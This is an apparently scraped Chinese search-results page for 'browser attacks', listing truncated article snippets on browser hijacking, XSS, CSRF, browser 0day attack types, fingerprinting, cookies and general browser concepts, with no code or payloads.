    浏览器模块 进程是 CPU 资源分配的最小单位 线程是 CPU 调度的最小单位 对于操作系统来说,一个任务就是一个进程,比如打开一个浏览器就是启动了一个浏览器进程,打开一个 Word 就启动了一个 Word 进程。 在一个进程...
  • 浏览器劫持是一种恶意程序,通过浏览器插件、BHO(浏览器辅助对象)、Winsock LSP等形式对用户的浏览器进行篡改,使用户的浏览器配置不正常,被强行引导到商业网站。 所谓浏览器劫持是指网页浏览器(IE等)被恶意...
  • 应用程序从数据库中查询数据,在页面中显示出来,攻击者在相关页面输入恶意的脚本数据后,用户浏览此类页面就可能受到攻击。另外一类是参数型XSS,主要是将脚本加入URL地址的程序参数里,参数进入程序后在页面直接...
  • 0x01 浏览器0day常见的攻击方式· 钓鱼攻击 (针对邮件与特定用户的攻击)· 网页挂马 (挂黑页与水坑攻击)· XSS (不需要渗透到主机修改代码)· Wifi 劫持 (请移步到KFC 连接Wifi)0x02 浏览器0day常见的漏洞与漏洞原理...
  • 项目背景有时候在用户关闭浏览器的时候,希望给用户一些提示,提示确认了或者...实验证明,这种做法是失败的,原因是浏览器关闭事件自动屏蔽执行js的某些方法,从而防止恶意攻击或者无法关闭浏览器的现象,针对这些...
  • web服务器和web浏览器

    2021-08-12 10:30:53
    web服务器和web浏览器 内容精选换一换当您需要实现网站HTTPS化,并监控HTTPS业务流量,识别并阻断SQL注入、CC攻击攻击,保护Web服务安全稳定时,本文档指导您如何实现网站HTTPS化并对HTTPS业务流量进行监控。...
  • 在一般的web程序里,显示数据给浏览器的时候都会指定一个字符集,在国内平时我们用到的字符集有utf-8,GBK,gb2312等等,字符集指示了浏览器该如何对待返回的数据。其中gb2312和GBK字符集使用得非常广泛,但是经证明...
  • 0x01 浏览器0day常见的攻击方式· 钓鱼攻击 (针对邮件与特定用户的攻击)· 网页挂马 (挂黑页与水坑攻击)· XSS (不需要渗透到主机修改代码)· Wifi 劫持 (请移步到KFC 连接Wifi)0x02 浏览器0day常见的漏洞与漏洞原理...
  • 你可以点击 Chrome 浏览器右上角的“选项”菜单,选择“更多工具”子菜单,点击“任务管理器”查看相关概念并行处理:同一时刻处理多个任务**(多线程,大大提升性能)线程VS进程:1、线程是不能单独存在的,它是由进程...
  • 五大浏览器

    2021-07-04 14:51:26
    浏览器是网页显示、运行的平台。五大浏览器分别是IE、火狐(Firegox)、谷歌(Chrome)、Safari和Opera 1、IE浏览器 IE浏览器是微软公司旗下的浏览器,是目国内用户量最多的浏览器。现今,微软以IE浏览器和...
  • 浏览器工作原理与实践专栏学习笔记 CSRF 攻击的典型案例 关于 David 的域名被盗的完整过程感兴趣的可以看看:David Airey:Google’s Gmail security failure leaves my business sabotaged 比如:里面就提到谷歌 ...
  • 浏览器原理 35 # HTTPS

    2021-06-16 18:15:58
    浏览器原理 32 # 跨站脚本攻击(XSS):为什么Cookie中有HttpOnly属性? 浏览器原理 33 # CSRF攻击:为什么Cookie中有SameSite属性? 系统安全 浏览器原理 34 # 安全沙箱 网络安全 浏览器原理 35 # HTT
  • 跨站脚本攻击(XSS)

    2021-06-26 06:32:48
    攻击者通过在合法的网页中注入恶意代码,达到在受害者的浏览器中执行恶意代码的目的。当受害者访问执行恶意代码的网页时,攻击就开始了。这些网页成为了将恶意代码发送到用户浏览器的工具。通常受到跨站脚本攻击的...
  • 简述Tim Berners-Lee 1990年创建的第一个浏览器支持所见即所得( WYSIWYG )方式编辑网页。Web 被设计为可读可写的媒介。然而后来的浏览器只能读取网页,只能通过表单控件输入简单的纯文本信息。Internet Explorer 5 ...
  • 浏览器指纹是什么,如何追踪到我们的信息,如何才能将浏览器指纹伪装起来? 什么是浏览器指纹 浏览器既给我们带来便利也让我们的喜好信息展露了出来,浏览器指纹可以帮助运营商识别到用户的身份信息,从而分析出...
  • 浏览器指纹 现在每个人都通过搜索引擎搜索产品和服务。我相信你也是如此,然后您可能还会注意到网站上出现的广告,展示了您正在寻找的相同产品,打个比方说国内淘宝,可能你无意间搜索了一个商品,接下来页面上就会...
  • 浏览器 cookie 的主要功能是:帮助网站保存一些小片段的信息。比如,你曾经在自己的浏览器上登录过某个论坛,下次你再打开论坛的登录页面,你会发现用户名已经帮你填好 了,你只需要输入口令即可。那么,这个登录...
  • es文件浏览器怎么建立ftp服务器 内容精选换一换弹性云服务器的密钥文件是在创建密钥对后,浏览器会提示您下载或自动下载私钥文件,请妥善保管。在SSH登录弹性云服务器时,您将需要提供相应的私钥。密钥名称由两部分...
  • (一)XSS跨站脚本攻击(1)XSS简介XSS攻击全称跨站脚本攻击(Cross Site Scripting),是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 141,758
精华内容 56,703
关键字:

浏览器攻击